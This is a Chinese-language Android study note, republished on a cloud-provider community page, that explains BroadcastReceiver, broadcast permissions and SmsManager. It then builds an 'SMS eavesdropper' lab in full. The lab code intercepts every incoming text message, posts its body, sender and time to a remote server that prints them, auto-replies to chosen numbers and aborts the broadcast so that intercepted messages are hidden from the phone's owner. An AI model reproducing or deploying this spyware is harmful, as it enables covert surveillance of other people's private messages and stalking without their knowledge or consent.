安卓個人學習筆記—BroadcastReceiver實現簡訊竊聽器

來源:互聯網
上載者:User
BroadcastReceiver概述:

BroadcastReceiver是接收從sendBroadcast()發出的intent的基類。你可以通過Context.registerReceiver()方法在代碼中動態註冊一個BroadcastReceiver的執行個體,也可以通過再AndroidManifest.xml檔案中用<receiver>標籤來靜態聲明。

注意:如果你實在Activity.onResume()方法中註冊的一個receiver,那麼你必須在Activity.onPause()方法中進行登出。(當一個activity處於暫停狀態是不會接收intents的,並且這樣做也可以減小系統不必要的開銷)。不要在Activity.onSaveInstanceState()方法中登出receiver,因為activity從棧中恢複的時候並不會調用這個方法了。

訂閱廣播:

<receiver android:name="MySMSListener">   <intent-filter>       <action android:name="android.provider.Telephony.SMS_RECEIVED"/>   </intent-filter></receiver>

IntentFilter filter = new IntentFilter("android.provider.Telephony.SMS_RECEIVED");IncomingSMSReceiver receiver = new IncomingSMSReceiver();registerReceiver(receiver, filter);

可以接收的broadcast主要分為兩種類型:
   普通的broadcasts(通過Context.sendBroadcast發送)是完全非同步。這個broadcast的receiver以無序的狀態運行,經常是在同一時刻運行。這種做法是十分高效的,但是也意味著receiver不能夠利用相互處理的結果或者是調用退出的API來退出(因為不知道哪個receiver先接收到intent)。
   有序的broadcasts(通過Context.sendOrderedBroadcast發送)一次只發送給一個receiver。每一個receiver是有序的處理這個intent的,前面的receiver可以傳遞結果給下一個receiver,或者任意一個receiver都可以完全的退出,這樣intent就不會傳遞給其他的receivers.receiver的執行順序可以通過匹配的intent-filter中的android:priority屬性來控制;如果有多個receivers處於同一個優先順序,那麼這幾個receivers將會以任意的順序來執行。
   即使是在廣播普通的broadcasts的情況下,系統也有可能在某些情況下轉換為一次發送一個broadcast給一個receriver。特別是當receivers需要建立進程時,在同一時刻僅僅一個receiver可以運行,避免系統因為這些建立的進程而過載。
   注意:儘管Intent類是用來發送和接受這些broadcasts,這裡的Intentbroadcast機制和那些通過Context.startActivity()方法來啟動activity的intent是完全獨立的。一個BroadcastReceiver是沒辦法觀察和捕獲一個用於啟動activity的intent的;同樣的,當你通過intent來發出broadcast時,你也不可能(通過這個intent)找到或者啟動一個activity的。這兩種操作是完全不同的:通過一個intent來啟動一個activity是一個前台操作,會改變使用者當前互動的對象;而通過intent來發出broadcast是一個後台操作,使用者經常是察覺不到的。
   BroadcastReceiver類(通過一個manifest的<receiver>標籤作為一個組件啟動)是應用程式全域聲明周期重要的一部分。
  
討論的主題
   1、Receiver的生命週期
   2、許可權
   3、進程的生命週期
  
可以接收的broadcast主要分為兩種類型
       普通的broadcasts(通過Context.sendBroadcast發送)是完全非同步。這個broadcast的receiver以無序的狀態運行,經常是在同一時刻運行。這種做法是十分高效的,但是也意味著receiver不能夠利用相互處理的結果或者是調用退出的API來退出(因為不知道哪個receiver先接收到intent)。

       有序的broadcasts(通過Context.sendOrderedBroadcast發送)一次只發送給一個receiver。每一個receiver是有序的處理這個intent的,前面的receiver可以傳遞結果給下一個receiver,或者任意一個receiver都可以完全的退出,這樣intent就不會傳遞給其他的receivers.receiver的執行順序可以通過匹配的intent-filter中的android:priority屬性來控制;如果有多個receivers處於同一個優先順序,那麼這幾個receivers將會以任意的順序來執行。

       即使是在廣播普通的broadcasts的情況下,系統也有可能在某些情況下轉換為一次發送一個broadcast給一個receriver。特別是當receivers需要建立進程時,在同一時刻僅僅一個receiver可以運行,避免系統因為這些建立的進程而過載。

 

注意:

儘管Intent類是用來發送和接受這些broadcasts,這裡的Intentbroadcast機制和那些通過Context.startActivity()方法來啟動activity的intent是完全獨立的。一個BroadcastReceiver是沒辦法觀察和捕獲一個用於啟動activity的intent的;同樣的,當你通過intent來發出broadcast時,你也不可能(通過這個intent)找到或者啟動一個activity的。這兩種操作是完全不同的:通過一個intent來啟動一個activity是一個前台操作,會改變使用者當前互動的對象;而通過intent來發出broadcast是一個後台操作,使用者經常是察覺不到的。

BroadcastReceiver類(通過一個manifest的<receiver>標籤作為一個組件啟動)是應用程式全域聲明周期重要的一部分。
  
討論的主題
   1、Receiver的生命週期
   2、許可權
   3、進程的生命週期

Receiver的生命週期

一個BroadcastReceiver的對象僅僅在調用onReceiver(COntext,Intent)的時間中有效。一旦你的代碼從這個函數中返回,那麼系統就認為這個對象應該結束了,不能再被啟用。你在onReceive(Context, Intent)中的實現有著非常重要的影響:任何對於非同步作業的請求都是不允許的,因為你可能需要從這個函數中返回去處理非同步操作,但是在那種情況下,BroadcastReceiver將不會再被啟用,因此系統就會再非同步作業之前殺死這個進程。

特別是,你不應該再一個BroadcastReceiver中顯示一個對話方塊或者綁定一個服務。對於前者(顯示一個對話方塊),你應該用NotificationManagerAPI來替代,對於後者(綁定一個服務),你可以使用Context.startService()發送一個命令給那個服務來實現綁定效果。

 

許可權

存取的許可權可以通過在發送方的Intent或者接收方的Intent中強制指定。

       在發送一個broadcast時強制指定許可權,就必須提供一個非空的peemission參數給sendBroadcast(Intent,String)或者是sendOrderedBroadcast(Intent, String,BroadcastReceiver, android.os.Handel, int, String, Bundle)。只有那些擁有這些許可權(通過在ANdroidManifest.xml檔案中相應的聲明<uses-permission>標籤)的receiver能夠接收這些broadcast。

在接收一個broadcast時強制指定許可權,就必須在註冊receiver時提供一個非空的permission參數--無論是在調用registerReceiver(BroadcastReceiver, IntentFilter,String, android.os.Handler)或者是通過再AndroidManifest.xml檔案中通過<receiver>靜態標籤來聲明。只有那些擁有這些許可權(通過在相應的AndroidManifest.xml檔案中查詢<uses-permission>標籤來獲知)的發送方將能夠給這個receiver發送Intent。

對於安全和許可權的詳細內容請查看Security and Permission文檔。

 

進程的生命週期

一個正在執行BroadcastReceiver(也就是,正在執行onReceive(COntext, Intent)方法)的進程被認為是一個前台的進程,將會一直運行,除非系統處於記憶體極度低的情況下。

一旦從OnReceive()方法中返回,這個BroadcastReceiver將不會再被啟用,此時它的主進程就和任何其他運行於此應用程式中的組件擁有相同的優先順序。這一點非常重要,如果進程僅僅只是擁有BroadReceiver(一個普遍的情況是使用者從不或者是最近沒有和它進行互動),因此一旦它從onReceive()方法中返回時,系統就會認為進程是空的並且主動的殺死它,以便這些資源可以被其他重要的進程利用。

這意味著對於耗時的操作,可以採用將Service和BroadcastReceiver結合使用以確保執行這個操作的進程在整個執行過程中都保持啟用狀態。

實驗(簡訊竊聽器):

伺服器(videoweb):

l  修改formbean:VideoForm中增加簡訊的時間、內容和寄件者屬性

l  VideoManageAction中增加方法getSMS來擷取竊聽器發送的短訊息

public ActionForward getSMS(ActionMapping mapping, ActionForm form,HttpServletRequest request, HttpServletResponse response)throws Exception {VideoForm formbean = (VideoForm)form;System.out.println("發送時間:"+ formbean.getTime());System.out.println("誰給她發的簡訊:"+ formbean.getSender());System.out.println("內容:"+ formbean.getContent());return mapping.findForward("result");}

用戶端SMS_Listener

1、 資訊清單檔

中訂閱廣播

<receiver android:name=".MySMSListener">  <intent-filter>      <action android:name="android.provider.Telephony.SMS_RECEIVED"/> </intent-filter></receiver>

添加簡訊接收許可權,訪問網路許可權

<uses-permission android:name="android.permission.INTERNET"/><uses-permission android:name="android.permission.RECEIVE_SMS"/>

1、 用戶端MySMSListener.java

功能:收取簡訊廣播,接收並解析簡訊然後發送至伺服器端進行後台列印。

package cn.song.listener;import java.sql.Date;import java.text.SimpleDateFormat;import java.util.HashMap;import java.util.Map;import cn.song.utils.SocketHttpRequester;import android.content.BroadcastReceiver;import android.content.Context;import android.content.Intent;import android.os.Bundle;import android.telephony.SmsManager;import android.telephony.SmsMessage;import android.util.Log;public class MySMSListener extends BroadcastReceiver {@Overridepublic void onReceive(Context context, Intent intent) {Bundle bundle = intent.getExtras();Object[] pdus = (Object[]) bundle.get("pdus");if(pdus != null && pdus.length>0){//接收了簡訊SmsMessage[] smsMessages = new SmsMessage[pdus.length];for(int i= 0;i<smsMessages.length;i++){byte[] pdu = (byte[]) pdus[i];smsMessages[i]  = SmsMessage.createFromPdu(pdu);}for(SmsMessage msg:smsMessages){String content = msg.getMessageBody();String sender = msg.getOriginatingAddress();Date date = new Date(msg.getTimestampMillis());//轉換日期格式SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");String sendTime = sdf.format(date);String path = "http://192.168.65.5:8080/videoweb/video/manage.do";Map<String, String> param = new HashMap<String, String>();param.put("method", "getSMS");param.put("content", content);param.put("sender", sender);param.put("time", sendTime);try {SocketHttpRequester.post(path, param, "UTF-8");} catch (Exception e) {Log.e("TAG", e.toString());}if(sender != null && sender.endsWith("15933915201")){SmsManager smsManager = SmsManager.getDefault();smsManager.sendTextMessage("5556", null, "go to hell", null, null);this.getAbortBroadcast(); }}}}}

SmsMessage

public static SmsMessage createFromPdu(byte[] pdu)

從原始的PDU(protocol description units)建立一個SmsMessage。這個方法很重要,在我們編寫簡訊接收程式要用到,它從我們接收到的廣播意圖中擷取的位元組建立SmsMessage。

 

public String getOriginatingAddress ()
以String返回SMS資訊的來電地址,或不可用時為null。

 

public String getMessageBody ()
以一個String返回訊息的主體,如果它存在且是基於文本的。

 

簡訊管理器 : SmsManager

1). 在 Android 2.0 以前 應該使用android.telephony.gsm.SmsManager

   之後應該用 android.telephony.SmsManager;

2). 擷取系統預設的簡訊管理器 

SmsManager smsManager =SmsManager.getDefault();

3). 按照每條簡訊最大字數來拆分簡訊

   List<String>divideContents = smsManager.divideMessage(content);

4). 傳送簡訊

       smsManager.sendTextMessage(destinationAddress,scAddress, text, sentIntent, deliveryIntent)

             --destinationAddress:目標電話號碼

             --scAddress:簡訊中心號碼,測試可以不填

             --text: 簡訊內容

             --sentIntent:發送 -->中國移動 --> 中國移動發送失敗 --> 返回傳送成功或失敗訊號 --> 後續處理   即,這個意圖封裝了簡訊發送狀態的資訊

             --deliveryIntent: 發送 -->中國移動 --> 中國移動發送成功 --> 返回對方是否收到這個資訊 --> 後續處理  即:這個意圖封裝了簡訊是否被對方收到的狀態資訊(供應商已經發送成功,但是對方沒有收到)。

 

5). 聲明簡訊發送許可權

     *AndroidManifest.xml

      <uses-permissionandroid:name="android.permission.SEND_SMS"/>

 

1、 進一步添加用戶端功能:將監聽到的指定的簡訊進行攔截並且自動進行回複

 

添加簡訊發送許可權:

<uses-permission android:name="android.permission.SEND_SMS"/>

MySMSListener的onReceive中添加代碼如下

String sendContent = sdf.format(date) + ":" + sender + "--"+ content;Log.i("TAG",sendContent);if(sender!= null && sender.endsWith("5556")){//5556".equals(sender)){SmsManager smsManager = SmsManager.getDefault();smsManager.sendTextMessage("5556",null,"game over",null,null);this.abortBroadcast(); //終止廣播}

測試:

啟動另一個模擬器,向部署用戶端的模擬器傳送簡訊,查看伺服器端後台輸出,並且觀察用戶端運行模擬器是否有簡訊接收。

補充:

       除了簡訊到來廣播Intent ,Android 還有很多廣播 Intent ,如:開機啟動、電池電量變化、時間已經改變等廣播 Intent 。

 

l 接收電池電量變化廣播 Intent ,在AndroidManifest.xml 檔案中的 <application>

節點裡訂閱此 Intent:

<receiver android:name=".IncomingSMSReceiver"><intent-filter>   <action android:name="android.intent.action.BATTERY_CHANGED"/></intent-filter></receiver>

l 接收開機啟動廣播 Intent , 在AndroidManifest.xml 檔案中的 <application> 節點裡

訂閱此 Intent:

<receiver android:name=".IncomingSMSReceiver"><intent-filter>  <action android:name=”android.intent.action.BOOT_COMPLETED” /></intent-filter><uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>

通常一個 BroadcastReceiver 對象的生命週期不超過5 秒 , 所以在BroadcastReceiver裡不能做一些比較耗時的操作 , 如果需要完成一項比較耗時的工作 , 可以通過發送 Intent給 Activity 或Service ,由 Activity 或 Service 來完成。

public class IncomingSMSReceiver extends BroadcastReceiver {public void onReceive(Context context, Intent intent) {// 發送 Intent 啟動服務,由服務來完成比較耗時的操作Intent service = new Intent(context, XxxService.class);context.startService(service);// 發送 Intent 啟動 Activity ,由 Activity 來完成比較耗時的操作Intent newIntent = new Intent(context, XxxActivity.class);context.startActivity(newIntent);}}

當然, 實現了BroadcastReceiver ,有時你可能會覺得不需要它 , 那麼你可以將已經註冊好的BroadcastReceiver 進行登出 :

unregisterReceiver( BroadcastReceiver receiver) ;
相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.